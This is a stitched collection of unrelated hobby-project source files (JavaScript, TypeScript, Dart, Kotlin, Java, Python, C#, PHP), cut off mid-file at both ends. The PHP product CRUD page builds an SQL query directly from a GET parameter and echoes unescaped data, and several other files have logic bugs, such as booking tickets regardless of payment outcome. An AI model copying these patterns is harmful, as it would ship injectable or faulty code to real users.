throw new Error("not authorized")
}
const decoded = verify(token, process.env.COOKIE_SECRET || "") as { userId: string }
set(socket.id, decoded.userId)
return next()
} catch (err) {
console.log(err)
return next(new Error("not authorized"))
}
})
export type customeSocketPrams = (socket: Socket<DefaultEventsMap, DefaultEventsMap, DefaultEventsMap, any>, prisma: PrismaClient) => any
io.on("connection", (socket: Socket<DefaultEventsMap, DefaultEventsMap, DefaultEventsMap, any>) => {
chatSocket(socket, prisma)
notiSocket(socket, prisma)
airdropSocket(socket, prisma)
socket.on("disconnect", (reason) => {
deleteKey(socket.id)
})
console.log("Hello")
})
setIO(io)
server.listen(PORT, () => console.log(`running on ${PORT} !`))
|
import React, {useEffect, useState} from 'react'
import Typography from "@material-ui/core/Typography";
import Toolbar from "@material-ui/core/Toolbar";
import Avatar from "@material-ui/core/Avatar";
import image from "../../images/memberberries.png";
import AppBar from "@material-ui/core/AppBar";
import useStyles from './styles'
import {Link, useLocation, useNavigate} from "react-router-dom";
import {googleLogout} from '@react-oauth/google'
import Button from "@material-ui/core/Button";
import decode from "jwt-decode";
import {AuthDataType} from "../../reducers/authReducer";
import {useAppDispatch} from "../../app/hooks";
import {logoutAC} from "../../actions/authActions";
type DecodedTokenType = {
email: string
exp: number
iat: number
id: string
}
const Navbar = () => {
const dispatch = useAppDispatch()
const navigate = useNavigate()
const location = useLocation()
const classes = useStyles()
//@ts-ignore
const [user, setUser] = useState<AuthDataType | null>(JSON.parse(localStorage.getItem('profile')))
useEffect(() => {
const token = user?.token
if (token) {
const decodedToken = decode<DecodedTokenType>(token)
if (decodedToken.exp * 1000 < new Date().getTime()) logout()
}
//@ts-ignore
setUser(JSON.parse(localStorage.getItem('profile')))
}, [location])
const signIn = () => {
navigate('/login')
}
const logout = () => {
localStorage.removeItem('profile')
dispatch(logoutAC())
googleLogout()
navigate('/')
setUser(null)
}
return (
<AppBar className={classes.appBar} position='static' color='inherit'>
<div className={classes.brandContainer}>
<Link to={'/'}>
<img className={classes.image} src={image} alt={'memories'} width={'200px'}/>
</Link>
</div>
<Toolbar>
{user ?
<div className={classes.profile}>
<Avatar className={classes.purple} src={user.authData?.image} alt={user.authData?.name}/>
<Typography className={classes.userName} variant={'h6'}>{user.authData?.name}</Typography>
<Button variant={'contained'} color={'secondary'} onClick={logout}>Logout</Button>
</div> :
<div className={classes.toolbar}>
<Button className={classes.logout}
onClick={signIn}
variant={'contained'}
color={'primary'}>Sign In</Button>
</div>
}
</Toolbar>
</AppBar>
);
};
export default Navbar;
|
import { describe, expect, it } from 'bun:test';
import { mockEventId, mockSeatDataFree, setMockAdminUser, setMockPatronUser } from '@/v1/tests/mocks';
import { treaty } from '@elysiajs/eden';
import { Elysia } from 'elysia';
import { handleListSeats } from './listSeats';
const apiAdminAuthorized = treaty(new Elysia().use(handleListSeats).onRequest(setMockAdminUser));
const apiPatronAuthorized = treaty(new Elysia().use(handleListSeats).onRequest(setMockPatronUser));
const apiUnauthorized = treaty(new Elysia().use(handleListSeats));
describe('handle list seats', () => {
it('should return 401 Unauthorized', async () => {
const { data, response, error } = await apiUnauthorized.v1.events({ eventId: mockEventId }).seats.get();
expect(response.status).toBe(401);
expect(data).toBeNull();
expect(error?.value).toEqual({
error: 'Unauthorized',
message: 'Missing or invalid token',
});
});
it('should return list of seats (admin)', async () => {
const { data, response, error } = await apiAdminAuthorized.v1.events({ eventId: mockEventId }).seats.get();
expect(response.status).toBe(200);
expect(data).toStrictEqual([mockSeatDataFree]);
expect(response.headers.get('content-type')).toBe('application/json');
expect(error).toBeNull();
});
it('should return list of seats (patron)', async () => {
const { data, response, error } = await apiPatronAuthorized.v1.events({ eventId: mockEventId }).seats.get();
expect(response.status).toBe(200);
expect(data).toStrictEqual([mockSeatDataFree]);
expect(response.headers.get('content-type')).toBe('application/json');
expect(error).toBeNull();
});
});
|
import { Icon28UserCircleOutline } from "@vkontakte/icons";
import { Cell, Epic, Group, Panel, PanelHeader, PanelHeaderBack, Placeholder, Platform, SplitCol, SplitLayout, Tabbar, TabbarItem, useAdaptivityConditionalRender, usePlatform, View } from "@vkontakte/vkui";
import React from "react";
export const Screen = () => {
const platform = usePlatform();
const { viewWidth } = useAdaptivityConditionalRender();
const [activeStory, setActiveStory] = React.useState('chapter1');
const onStoryChange = (e) => setActiveStory(e.currentTarget.dataset.story);
const isVKCOM = platform !== Platform.VKCOM;
return (
<SplitLayout
header={isVKCOM && <PanelHeader separator={false} />}
style={{ justifyContent: 'center' }}
>
{viewWidth.tabletPlus && (
<SplitCol className={viewWidth.tabletPlus.className} fixed width={280} maxWidth={280}>
<Panel>
{isVKCOM && <PanelHeader />}
<Group>
<Cell
disabled={activeStory === 'chapter1'}
style={
activeStory === 'chapter1'
? {
backgroundColor: 'var(--vkui--color_background_secondary)',
borderRadius: 8,
}
: {}
}
data-story="chapter1"
onClick={onStoryChange}
before={<Icon28UserCircleOutline />}
>
Раздел №1
</Cell>
<Cell
disabled={activeStory === 'chapter2'}
style={
activeStory === 'chapter2'
? {
backgroundColor: 'var(--vkui--color_background_secondary)',
borderRadius: 8,
}
: {}
}
data-story="chapter2"
onClick={onStoryChange}
before={<Icon28UserCircleOutline />}
>
Раздел №2
</Cell>
<Cell
disabled={activeStory === 'chapter3'}
style={
activeStory === 'chapter3'
? {
backgroundColor: 'var(--vkui--color_background_secondary)',
borderRadius: 8,
}
: {}
}
data-story="chapter3"
onClick={onStoryChange}
before={<Icon28UserCircleOutline />}
>
Раздел №3
</Cell>
</Group>
</Panel>
</SplitCol>
)}
<SplitCol width="100%" maxWidth="560px" stretchedOnMobile autoSpaced>
<Epic
activeStory={activeStory}
tabbar={
viewWidth.tabletMinus && (
<Tabbar className={viewWidth.tabletMinus.className}>
<TabbarItem
onClick={onStoryChange}
selected={activeStory === 'chapter1'}
data-story="chapter1"
text="Раздел №1"
>
<Icon28UserCircleOutline />
</TabbarItem>
<TabbarItem
onClick={onStoryChange}
selected={activeStory === 'chapter2'}
data-story="chapter2"
text="Раздел №2"
>
<Icon28UserCircleOutline />
</TabbarItem>
<TabbarItem
onClick={onStoryChange}
selected={activeStory === 'chapter3'}
data-story="chapter3"
text="Раздел №3"
>
<Icon28UserCircleOutline />
</TabbarItem>
</Tabbar>
)
}
>
{/* Отображение содержимого */}
<View id="chapter1" activePanel="chapter1">
<Panel id="chapter1">
<PanelHeader before={<PanelHeaderBack />}>Раздел №1</PanelHeader>
<Group style={{ height: '1000px' }}>
<Placeholder
icon={<Icon28UserCircleOutline width={56} height={56} />}
>Содержимое первого раздела</Placeholder>
</Group>
</Panel>
</View>
<View id="chapter2" activePanel="chapter2">
<Panel id="chapter2">
<PanelHeader before={<PanelHeaderBack />}>Раздел №2</PanelHeader>
<Group style={{ height: '1000px' }}>
<Placeholder
icon={<Icon28UserCircleOutline width={56} height={56} />}
>Содержимое второго раздела</Placeholder>
</Group>
</Panel>
</View>
<View id="chapter3" activePanel="chapter3">
<Panel id="chapter3">
<PanelHeader before={<PanelHeaderBack />}>Раздел №3</PanelHeader>
<Group style={{ height: '1000px' }}>
<Placeholder
icon={<Icon28UserCircleOutline width={56} height={56} />}
>Содержимое третьего раздела</Placeholder>
</Group>
</Panel>
</View>
</Epic>
</SplitCol>
</SplitLayout>
);
};
|
import 'package:firebase_auth/firebase_auth.dart';
import 'package:flutter/material.dart';
import 'package:cloud_firestore/cloud_firestore.dart';
import 'package:my_flutter_app/Bottom_NavigatorTrain.dart';
import 'package:my_flutter_app/Trains/BookedTicketHistory.dart';
import 'package:razorpay_flutter/razorpay_flutter.dart';
class PassengerInfoPage extends StatefulWidget {
final DocumentSnapshot trainData;
final String _selectedDay;
final String _selectedDate;
PassengerInfoPage(this.trainData, this._selectedDay, this._selectedDate);
@override
_PassengerInfoPageState createState() => _PassengerInfoPageState();
}
class _PassengerInfoPageState extends State<PassengerInfoPage> {
List<Passenger> _passengers = [Passenger()];
double _price = 0;
double _totalPrice = 0;
late Razorpay _razorpay;
@override
void initState() {
super.initState();
_fetchPrice();
_updateTotalPrice();
_razorpay = Razorpay();
_razorpay.on(Razorpay.EVENT_PAYMENT_SUCCESS, _handlePaymentSuccess);
_razorpay.on(Razorpay.EVENT_PAYMENT_ERROR, _handlePaymentError);
_razorpay.on(Razorpay.EVENT_EXTERNAL_WALLET, _handleExternalWallet);
}
void _handlePaymentSuccess(PaymentSuccessResponse response) {
print("Payment success");
}
void _handlePaymentError(PaymentFailureResponse response) {
print("Payment error: ${response.message}");
}
void _handleExternalWallet(ExternalWalletResponse response) {
print("External wallet payment: ${response.walletName}");
}
@override
void dispose() {
_razorpay.clear();
super.dispose();
}
void _fetchPrice() {
_price = widget.trainData['Price'];
}
void _updateTotalPrice() {
int totalPassengers = _passengers.length;
setState(() {
_totalPrice = totalPassengers * _price;
});
}
@override
Widget build(BuildContext context) {
return Scaffold(
appBar: AppBar(
backgroundColor: Color.fromARGB(255, 8, 83, 112),
title: Text('Booking Informatio',
style: TextStyle(
fontSize: 25, color: Color.fromARGB(255, 235, 232, 235))),
),
body: Container(
height: double.infinity,
width: double.infinity,
color: Color.fromARGB(255, 209, 205, 205),
child: SingleChildScrollView(
padding: EdgeInsets.all(16),
child: Column(
crossAxisAlignment: CrossAxisAlignment.stretch,
children: [
for (int index = 0; index < _passengers.length; index++)
Container(
decoration: BoxDecoration(
color: Color.fromARGB(255, 175, 203, 209),
borderRadius: BorderRadius.circular(8),
boxShadow: [
BoxShadow(
color: Colors.grey.withOpacity(0.5),
spreadRadius: 2,
blurRadius: 4,
offset: Offset(0, 3),
),
],
),
padding: EdgeInsets.all(16),
margin: EdgeInsets.only(bottom: 16),
child: Column(
crossAxisAlignment: CrossAxisAlignment.stretch,
children: [
Row(
mainAxisAlignment: MainAxisAlignment.spaceBetween,
children: [
Icon(Icons.person, color: Colors.blue),
IconButton(
icon: Icon(Icons.remove_circle),
onPressed: () {
setState(() {
_passengers.removeAt(index);
_updateTotalPrice();
});
},
),
],
),
TextField(
decoration: InputDecoration(
labelText: 'Passenger Name',
border: OutlineInputBorder(),
),
onChanged: (value) => _passengers[index].name = value,
),
SizedBox(height: 8),
TextField(
decoration: InputDecoration(
labelText: 'Age',
border: OutlineInputBorder(),
),
keyboardType: TextInputType.number,
onChanged: (value) =>
_passengers[index].age = int.tryParse(value) ?? 0,
),
SizedBox(height: 8),
TextField(
decoration: InputDecoration(
labelText: 'Nationality',
border: OutlineInputBorder(),
),
onChanged: (value) =>
_passengers[index].nationality = value,
),
SizedBox(height: 8),
TextField(
decoration: InputDecoration(
labelText: 'ID',
border: OutlineInputBorder(),
),
onChanged: (value) => _passengers[index].id = value,
),
],
),
),
ElevatedButton(
style: ElevatedButton.styleFrom(
primary: Colors.blue,
),
onPressed: () {
setState(() {
_passengers.add(Passenger());
_updateTotalPrice();
});
},
child: Text('Add Passenger',
style:
TextStyle(fontSize: 18, fontWeight: FontWeight.bold)),
),
SizedBox(height: 16),
Text(
'Total Price: \$$_totalPrice',
style: TextStyle(
fontSize: 25,
color: Colors.green,
fontWeight: FontWeight.bold),
),
SizedBox(height: 16),
ElevatedButton(
style: ElevatedButton.styleFrom(
primary: Color.fromARGB(255, 109, 199, 112),
),
onPressed: () {
var options = {
'key':
'your api key', // Replace with your Razorpay API key
'amount': (_totalPrice * 100)
.toInt(), // Amount in paise (multiply by 100)
'name': 'Your App Name',
'description': 'Payment for train booking',
'prefill': {
'contact': 'YOUR_CONTACT_NUMBER',
'email': 'YOUR_EMAIL',
},
};
try {
_razorpay.open(options);
} catch (e) {
print("Error initiating payment: $e");
}
_confirmBooking();
Navigator.pushReplacement(
context,
MaterialPageRoute(
builder: (context) => TicketHistoryPage()),
);
},
child: Text('Pay Now',
style:
TextStyle(fontSize: 18, fontWeight: FontWeight.bold)),
),
],
),
),
),
bottomNavigationBar: BottomNavigatorExample(),
);
}
void _confirmBooking() async {
User? currentUser = FirebaseAuth.instance.currentUser;
if (currentUser == null) {
return;
}
String userId = currentUser.uid;
int availableSeats =
widget.trainData['available_seats'] - _passengers.length;
await widget.trainData.reference.update({
'available_seats': availableSeats,
});
for (var passenger in _passengers) {
await FirebaseFirestore.instance
.collection('users')
.doc(userId)
.collection('bookedTickets')
.add({
'trainId': widget.trainData['trainId'],
'passengerName': passenger.name,
'age': passenger.age,
'nationality': passenger.nationality,
'id': passenger.id,
'totalPrice': _totalPrice,
'timestamp': FieldValue.serverTimestamp(),
'_selectedDay': "${widget._selectedDay} on ${widget._selectedDate}",
});
}
Navigator.pop(context);
}
}
class Passenger {
String name = '';
int age = 0;
String nationality = '';
String id = '';
}
|
import {doRpc, isObject, ServerError} from './rpc'
import {ref, Ref} from "vue";
interface MessagesResponse {
messages: Array<string>,
}
// TODO: Find a more concise way to check the response object.
function isMessagesResponse(object: unknown): object is MessagesResponse {
if (!isObject(object)) {
return false;
}
if (!Array.isArray(object.messages)) {
return false;
}
const messages: Array<unknown> = object.messages;
for (const item in messages) {
// noinspection SuspiciousTypeOfGuard
if (typeof item !== 'string') {
return false;
}
}
return true;
}
export class MessageListModel {
public messages: Ref<Array<string>> = ref([])
public running: Ref<boolean> = ref(false)
private processResponse(response: Object | null) {
if (response == null) {
return null;
}
if (!isMessagesResponse(response)) {
console.error(`unexpected server response: ${JSON.stringify(response)}`);
throw new ServerError(null);
}
this.messages.value = response.messages;
}
public async fetchMessages() {
if (this.running.value) {
return;
}
try {
this.running.value = true;
const response = await doRpc("GET", "/get-messages", null);
this.processResponse(response);
} finally {
this.running.value = false;
}
}
public async addMessage(text: string) {
if (text.length < 1) {
return;
}
if (this.running.value) {
return;
}
try {
this.running.value = true;
const response: Object | null = await doRpc("POST", "/add-message", {"text": text});
this.processResponse(response);
} finally {
this.running.value = false;
}
}
}
|
package com.swipe.application
import android.util.Log
import android.view.LayoutInflater
import android.view.View
import android.view.ViewGroup
import android.widget.BaseAdapter
import android.widget.Button
import kotlinx.coroutines.CoroutineScope
import kotlinx.coroutines.Dispatchers
import kotlinx.coroutines.launch
import kotlinx.coroutines.withContext
class SwipeAdapter(private val mData: ArrayList<Games>, private var onItemClick: (Games) -> Unit ): BaseAdapter() {
var swipeCount = 0
var onDataChanged: (() -> Unit)? = null
override fun getCount(): Int {
return mData.size
}
override fun getItem(p0: Int): Any {
return mData[p0]
}
fun removeItem(p0: Int) {
mData.removeAt(p0)
}
/*fun updateList(likedGames : MutableSet<String>) {
//remove item at the top of the stack
swipeCount+=1
if(mData.size < 7){
try {
val games
// Now update your adapter's data set with these games
// Make sure to update the adapter on the main thread if needed
// Update your adapter's data and refresh the UI
mData.addAll(games)
Log.d("REFRESH","NEW GROUPS: ${mData}")
} catch (e: Exception) {
// Handle any errors here
}
}
}*/
fun addGames(games: List<Games>){
mData.addAll(games)
}
override fun notifyDataSetChanged() {
Log.d("MDATA", "Updated size:${mData.size}")
super.notifyDataSetChanged()
onDataChanged?.invoke()
}
override fun getItemId(p0: Int): Long {
return p0.toLong()
}
override fun getView(position: Int, convertView: View?, parent: ViewGroup?): View? {
var holder: SwipeHolder? = convertView?.tag as? SwipeHolder
val convertView = LayoutInflater.from(parent?.context).inflate(R.layout.card_items, parent, false)
if (holder == null) {
holder = SwipeHolder(convertView)
convertView.tag = holder
}
val currentItem = mData[position]
holder.bindData(currentItem)
val seeMoreButton = convertView.findViewById<Button>(R.id.seeMoreButton)
seeMoreButton?.setOnClickListener {
onItemClick(currentItem)
}
return convertView
}
}
|
// 创建中介类。
public class ChatRoom {
public static void showMessage(User user, String message){
System.out.println(new Date().toString()
+ " [" + user.getName() +"] : " + message);
}
}
//创建 user 类。
public class User {
private String name;
public String getName() {
return name;
}
public void setName(String name) {
this.name = name;
}
public User(String name){
this.name = name;
}
public void sendMessage(String message){
ChatRoom.showMessage(this,message);
}
}
//使用 User 对象来显示他们之间的通信。
public class MediatorPatternDemo {
public static void main(String[] args) {
User robert = new User("Robert");
User john = new User("John");
robert.sendMessage("Hi! John!");
john.sendMessage("Hello! Robert!");
}
}
//执行程序,输出结果:
Thu Jan 31 16:05:46 IST 2013 [Robert] : Hi! John!
Thu Jan 31 16:05:46 IST 2013 [John] : Hello! Robert!
|
@keras_export("keras.activations.get")
@tf.__internal__.dispatch.add_dispatch_support
def get(identifier):
"""Returns function.
Args:
identifier: Function or string
Returns:
Function corresponding to the input string or input function.
Example:
>>> tf.keras.activations.get('softmax')
<function softmax at 0x1222a3d90>
>>> tf.keras.activations.get(tf.keras.activations.softmax)
<function softmax at 0x1222a3d90>
>>> tf.keras.activations.get(None)
<function linear at 0x1239596a8>
>>> tf.keras.activations.get(abs)
<built-in function abs>
>>> tf.keras.activations.get('abcd')
Traceback (most recent call last):
...
ValueError: Unknown activation function:abcd
Raises:
ValueError: Input is an unknown function or string, i.e., the input does
not denote any defined function.
"""
if identifier is None:
return linear
if isinstance(identifier, (str, dict)):
use_legacy_format = (
"module" not in identifier
if isinstance(identifier, dict)
else False
)
return deserialize(identifier, use_legacy_format=use_legacy_format)
elif callable(identifier):
return identifier
raise TypeError(
f"Could not interpret activation function identifier: {identifier}"
)
|
import React, { useState, useEffect } from "react";
import Layout from "../../layout/layout";
import { ToastContainer, toast } from "react-toastify";
import { useRive, useStateMachineInput } from "rive-react";
import { motion, AnimatePresence, Reorder } from "framer-motion";
import "react-toastify/dist/ReactToastify.css";
import axios from "axios";
import { useNavigate } from "react-router-dom";
import { Spinner } from "flowbite-react";
import url from "../../../utils/exporturl";
const Register = () => {
const STATE_MACHINE_NAME = "State Machine 1";
const { rive, RiveComponent } = useRive({
src: "520-990-teddy-login-screen.riv",
autoplay: true,
stateMachines: STATE_MACHINE_NAME,
});
useEffect(() => {
import("rive-react").then((rive) => {
setRiveComponent(() => rive.RiveComponent);
});
}, []);
const variants = {
initial: { perspective: 0 },
animate: { perspective: 1000 },
};
useEffect(() => {
setLook();
}, [FormData]);
const stateSuccess = useStateMachineInput(
rive,
STATE_MACHINE_NAME,
"success"
);
const stateFail = useStateMachineInput(rive, STATE_MACHINE_NAME, "fail");
const stateHandUp = useStateMachineInput(
rive,
STATE_MACHINE_NAME,
"hands_up"
);
const stateCheck = useStateMachineInput(rive, STATE_MACHINE_NAME, "Check");
const stateLook = useStateMachineInput(rive, STATE_MACHINE_NAME, "Look");
const triggerSuccess = () => {
stateSuccess && stateSuccess.fire();
};
const triggerFail = () => {
stateFail && stateFail.fire();
};
const setHangUp = (hangUp) => {
stateHandUp && (stateHandUp.value = hangUp);
};
const setLook = () => {
if (!stateLook || !stateCheck || !setHangUp) {
return;
}
setHangUp(false);
setCheck(true);
if (formData.email) {
let nbChars = 0;
nbChars = parseFloat(formData.email.split("").length);
let ratio = nbChars / parseFloat(41);
console.log("ratio " + ratio);
let lookToSet = ratio * 100 - 25;
console.log("lookToSet " + Math.round(lookToSet));
stateLook.value = Math.round(lookToSet);
}
};
const setCheck = (check) => {
if (stateCheck) {
stateCheck.value = check;
}
};
const navigate = useNavigate();
const [error, setError] = useState("");
const [formData, setFormData] = useState({
name: "",
email: "",
password: "",
question: "",
});
const handleChange = (event) => {
const { name, value } = event.target;
setFormData({
...formData,
[name]: value,
});
};
const handleSubmit = (event) => {
event.preventDefault();
const { name, email, password, question } = formData;
if (!name || !email || !password || !question) {
setError("Please fill in all fields.");
return;
}
const data = {
name,
question,
email,
password,
};
const res = axios
.post(`${url}/auth/register`, data)
.then((response) => {
setFormData({
name: "",
email: "",
password: "",
question: "",
});
toast.success("Registration successful!");
setError("");
navigate("/login");
})
.catch((error) => {
toast.error(`${error.response.data.message}`);
setError(`${error.response.data.message}`);
});
};
const [popLayout, setPopLayout] = useState(false);
return (
<Layout title={"Registeration | Ecommerce"}>
<div className=" light:bg-white-500">
<div className="flex flex-col items-center justify-center px-6 py-0 mx-auto md:h-5/6 lg:py-0">
<AnimatePresence
AnimatePresence
mode={popLayout ? "popLayout" : "sync"}
>
<motion.div
layout
initial={{ scale: 0.8, opacity: 0 }}
animate={{
scale: 1,
opacity: 1,
}}
variants={variants}
exit={{ scale: 0.8, opacity: 0 }}
transition={{ type: "spring" }}
className="w-full bg-white rounded-lg shadow dark:border md:mt-0 sm:max-w-md xl:p-0 "
>
<div className="p-6 space-y-4 md:space-y-6 sm:p-8">
<h1 className="text-xl font-bold leading-tight tracking-tight text-gray-900 md:text-2xl ">
Create an account
</h1>
<div
style={{
borderRadius: "50%",
display: "flex",
justifyContent: "center",
alignItems: "center",
}}
>
<RiveComponent
style={{
width: "350px",
height: "300px",
objectFit: "cover",
}}
src="520-990-teddy-login-screen.riv"
/>
</div>
<form className="space-y-4 md:space-y-6" action="#">
<div>
<label
htmlFor="email"
className="block mb-2 text-sm font-medium text-gray-900 "
>
Your email
</label>
<input
type="email"
typeof="email"
name="email"
id="email"
value={formData.email}
onChange={(event) => {
handleChange(event);
setLook();
}}
className="block w-full p-3 rounded-md bg-gray-100 border-transparent focus:border-gray-500 focus:bg-white focus:ring-0"
required
/>
</div>
<div>
<label
htmlFor="name"
className="block mb-2 text-sm font-medium text-gray-900 "
>
Your name
</label>
<input
type="text"
name="name"
id="name"
value={formData.name}
onChange={(event) => {
handleChange(event);
setLook();
}}
className="block name w-full p-3 rounded-md bg-gray-100 border-transparent focus:border-gray-500 focus:bg-white focus:ring-0"
required
/>
</div>
<div>
<label
htmlFor="name"
className="block mb-2 text-sm font-medium text-gray-900 "
>
Password
</label>
<input
type="password"
name="password"
id="password"
value={formData.password}
onFocus={() => setHangUp(false)}
onMouseLeave={() => setHangUp(false)}
onChange={(event) => {
handleChange(event);
setHangUp(true);
}}
className="block w-full p-3 rounded-md bg-gray-100 border-transparent focus:border-gray-500 focus:bg-white focus:ring-0"
required
/>
</div>
<div>
<label
htmlFor="name"
className="block mb-2 text-sm font-medium text-gray-900 "
>
Security Question
</label>
<input
type="question"
name="question"
id="question"
placeholder="What is your favourite color?"
value={formData.question}
onChange={handleChange}
className="block w-full p-3 rounded-md bg-gray-100 border-transparent focus:border-gray-500 focus:bg-white focus:ring-0"
required
/>
</div>
<h1>
{" "}
{error && (
<span className="text-red-500 text-lg font-bold ">
{error}
</span>
)}
</h1>
<button>
{" "}
<h1
className="ml-1 text-sm font-bold font-serif w-full "
onClick={() => {
navigate("/register");
}}
>
have account{" "}
<span className="underline text-md font-semibold">
Login Now
</span>{" "}
</h1>
</button>
<div>
<button
onMouseOver={() => setHangUp(false)}
onFocus={() => setHangUp(false)}
type="submit"
onClick={handleSubmit}
className="w-full py-3 text-white bg-gray-900 rounded-md hover:bg-gray-700 focus:outline-none focus:ring-2 focus:ring-gray-900 focus:ring-opacity-50"
>
Create account
</button>
</div>
</form>
</div>
</motion.div>
</AnimatePresence>
</div>
</div>
</Layout>
);
};
export default Register;
|
using Business.Abstracts;
using Business.DTOs.Request.Category;
using Business.Rules.ValidationRules;
using Core.DataAccess.Paging;
using Microsoft.AspNetCore.Mvc;
namespace WebAPI.Controllers
{
[Route("api/[controller]")]
[ApiController]
public class CategoriesController : ControllerBase
{
private readonly ICategoryService _categoryService;
public CategoriesController(ICategoryService categoryService)
{
_categoryService = categoryService;
}
[HttpPost("Add")]
[ValidateModel(typeof(CreateCategoryRequestValidator))]
public async Task<IActionResult> Add([FromBody] CreateCategoryRequest createCategoryRequest)
{
var result = await _categoryService.Add(createCategoryRequest);
return Ok(result);
}
[HttpDelete("Delete")]
public async Task<IActionResult> Delete([FromQuery] DeleteCategoryRequest deleteCategoryRequest)
{
var result = await _categoryService.Delete(deleteCategoryRequest);
return Ok(result);
}
[HttpPut("Update")]
public async Task<IActionResult> Update([FromBody] UpdateCategoryRequest updateCategoryRequest)
{
var result = await _categoryService.Update(updateCategoryRequest);
return Ok(result);
}
[HttpGet("GetById")]
public async Task<IActionResult> GetById(int id)
{
var result = await _categoryService.GetById(id);
return Ok(result);
}
[HttpGet("GetAll")]
public async Task<IActionResult> GetList([FromQuery] PageRequest pageRequest)
{
var result = await _categoryService.GetListAsync(pageRequest);
return Ok(result);
}
}
}
|
<?php include('BD/crud.php'); ?>
<?php
# recupera o registro para edição
if (isset($_GET['edit'])) {
$id = $_GET['edit'];
$update = true;
$record = mysqli_query($db, "SELECT * FROM produtos WHERE id=$id");
# testa o retorno do select e cria o vetor com os registros trazidos
if ($record) {
$n = mysqli_fetch_array($record);
$nome = $n['nome'];
$descricao = $n['descricao'];
$qtdEstoque = $n['qtdEstoque'];
$precoUnitario = $n['precoUnitario'];
$ptoReposicao = $n['ptoReposicao'];
}
}
?>
<!DOCTYPE html>
<html lang="pt-BR">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Produtos</title>
<!-- O cabeçalho é chamado de outro arquivo (header.php) para ser usado o mesmo arquivo em diversas janelas -->
<?php include('header-footer/header.php'); ?>
<!-- teste se a sessão existe e exibe sua mensagem -->
<?php if (isset($_SESSION['message'])) : ?>
<div class="msg">
<?php
# exibe mensagem da sessão
echo $_SESSION['message'];
# apaga a sessão
unset($_SESSION['message']);
?>
</div>
<?php endif ?>
<?php if (isset($_SESSION['erro'])) : ?>
<div class="inva">
<?php
# exibe mensagem da sessão
echo $_SESSION['erro'];
# apaga a sessão
unset($_SESSION['erro']);
?>
</div>
<?php endif ?>
<!-- ------------------------------------------------- -->
<div class="lista">
<!-- recupera os registros do banco de dados e exibe na página -->
<?php $results = mysqli_query($db, "SELECT * FROM produtos"); ?>
<table>
<thead>
<tr>
<th>ID </th>
<th>Nome</th>
<th>Descrição</th>
<th>Qtd Estoque</th>
<th>Preço Unitário</th>
<th>Ponto de Reposição</th>
<th colspan="2">Ação</th>
</tr>
</thead>
<!-- cria o vetor com os registros trazidos do select -->
<!-- Início while -->
<?php while ($rs = mysqli_fetch_array($results)) { ?>
<tr>
<td><?php echo $rs['id']; ?></td>
<td><?php echo $rs['nome']; ?></td>
<td><?php echo $rs['descricao']; ?></td>
<td><?php echo $rs['qtdEstoque'] ?></td>
<td><?php echo $rs['precoUnitario'] ?></td>
<td><?php echo $rs['ptoReposicao'] ?></td>
<td>
<a href="produtos.php?edit=<?php echo $rs['id']; ?>" class="edit_btn">Alterar</a>
</td>
<td>
<a href="BD/crud.php?del=<?php echo $rs['id']; ?>" class="del_btn">Remover</a>
</td>
</tr>
<?php } ?>
<!-- Fim while -->
</table>
<!--------------------------------------------------------------- -->
</div>
<form method="post" action="BD/crud.php">
<!-- campo oculto - contem o id do registro que vai ser atualizado -->
<input type="hidden" name="id" value="<?php echo $id; ?>">
<div class="input-group">
<label>Produto</label>
<input type="text" name="nome" value="<?php echo $nome; ?>" placeholder="Nome do produto" title="Campo requerido" required>
</div>
<div class="input-group">
<label>Descrição</label>
<input type="text" name="descricao" value="<?php echo $descricao; ?>" placeholder="Descrição do produto" title="Campo requerido" required>
</div>
<div class="input-group">
<label>Quantidade no estoque</label>
<input type="number" name="qtdEstoque" value="<?php echo $qtdEstoque; ?>" placeholder="99" title="Campo requerido" required>
</div>
<div class="input-group">
<label>Preço unitário</label>
<input type="text" name="precoUnitario" value="<?php echo $precoUnitario; ?>" placeholder="9.99" pattern="\d*\.?\d*" title="Apenas numéros e com . como divisor decimal" required>
</div>
<div class="input-group">
<label>Ponto de reposição</label>
<input type="number" name="ptoReposicao" value="<?php echo $ptoReposicao; ?>" placeholder="99" title="Campo requerido" required>
</div>
<div class="input-group">
<?php if ($update == true) : ?>
<button class="btn" type="submit" name="altera" style="background: #556B2F;">Alterar</button>
<?php else : ?>
<button class="btn" type="submit" name="adiciona">Adicionar</button>
<?php endif ?>
</div>
</form>
<?php include('header-footer/footer.php'); ?>
|
<?php
use Illuminate\Http\Request;
use Illuminate\Support\Facades\Route;
use App\Http\Controllers\EmployeeController;
use App\Http\Controllers\MachineController;
use App\Http\Controllers\WorkProcessController;
/*
|--------------------------------------------------------------------------
| API Routes
|--------------------------------------------------------------------------
|
| Here is where you can register API routes for your application. These
| routes are loaded by the RouteServiceProvider and all of them will
| be assigned to the "api" middleware group. Make something great!
|
*/
Route::group(['prefix' => 'employee'], function () {
Route::get('', [EmployeeController::class, 'index']);
Route::get('/{employee}', [EmployeeController::class, 'show']);
Route::get('/history/{employee}', [EmployeeController::class, 'getEmployeeHistory']);
});
Route::group(['prefix' => 'machine'], function () {
Route::get('', [MachineController::class, 'index']);
Route::get('/{machine}', [MachineController::class, 'show']);
Route::get('history/{machine}', [MachineController::class, 'getMachineHistory']);
});
Route::post('/assign/{employee}/{machine}', [WorkProcessController::class, 'assign']);
Route::post('/unassign/{employee}/{machine}', [WorkProcessController::class, 'unassign']);
|
import DytePlugin from '@dytesdk/plugin-sdk';
import React, { useEffect, useState } from 'react'
import { canPlay } from '../utils/helpers';
const MainContext = React.createContext<any>({});
type PlayerType = 'youtube' | 'vimeo' | 'facebook' | 'twitch' | 'file' | '';
interface GlobalConfig {
loop: boolean;
hideBack: boolean;
}
const MainProvider = ({ children }: { children: any }) => {
const [link, setLink] = useState<string>('');
const [error, setError] = useState<string>('');
const [plugin, setPlugin] = useState<DytePlugin>();
const [isRecorder, setIsRecorder] = useState<boolean>(false);
const [activePlayer, setActivePlayer] = useState<PlayerType>('');
const [globalConf, setGlobalConf] = useState<GlobalConfig>({ loop: false, hideBack: false });
const loadPlugin = async () => {
// initialize the SDK
const dytePlugin = DytePlugin.init({ ready: false });
// populate store
await dytePlugin.stores.populate('player-store');
// set recorder
const { payload: { peer: self }} = await dytePlugin.room.getPeer();
setIsRecorder(self?.isRecorder || self?.isHidden)
// load initial data
const playStore = dytePlugin.stores.create('player-store');
const url = playStore.get('url');
const player = playStore.get('activePlayer');
// listen for config event from web-core
dytePlugin.room.on('config', async ({payload}) => {
const { link, loop, hideBack } = payload;
const player = canPlay(link);
if (player) {
setActivePlayer(player);
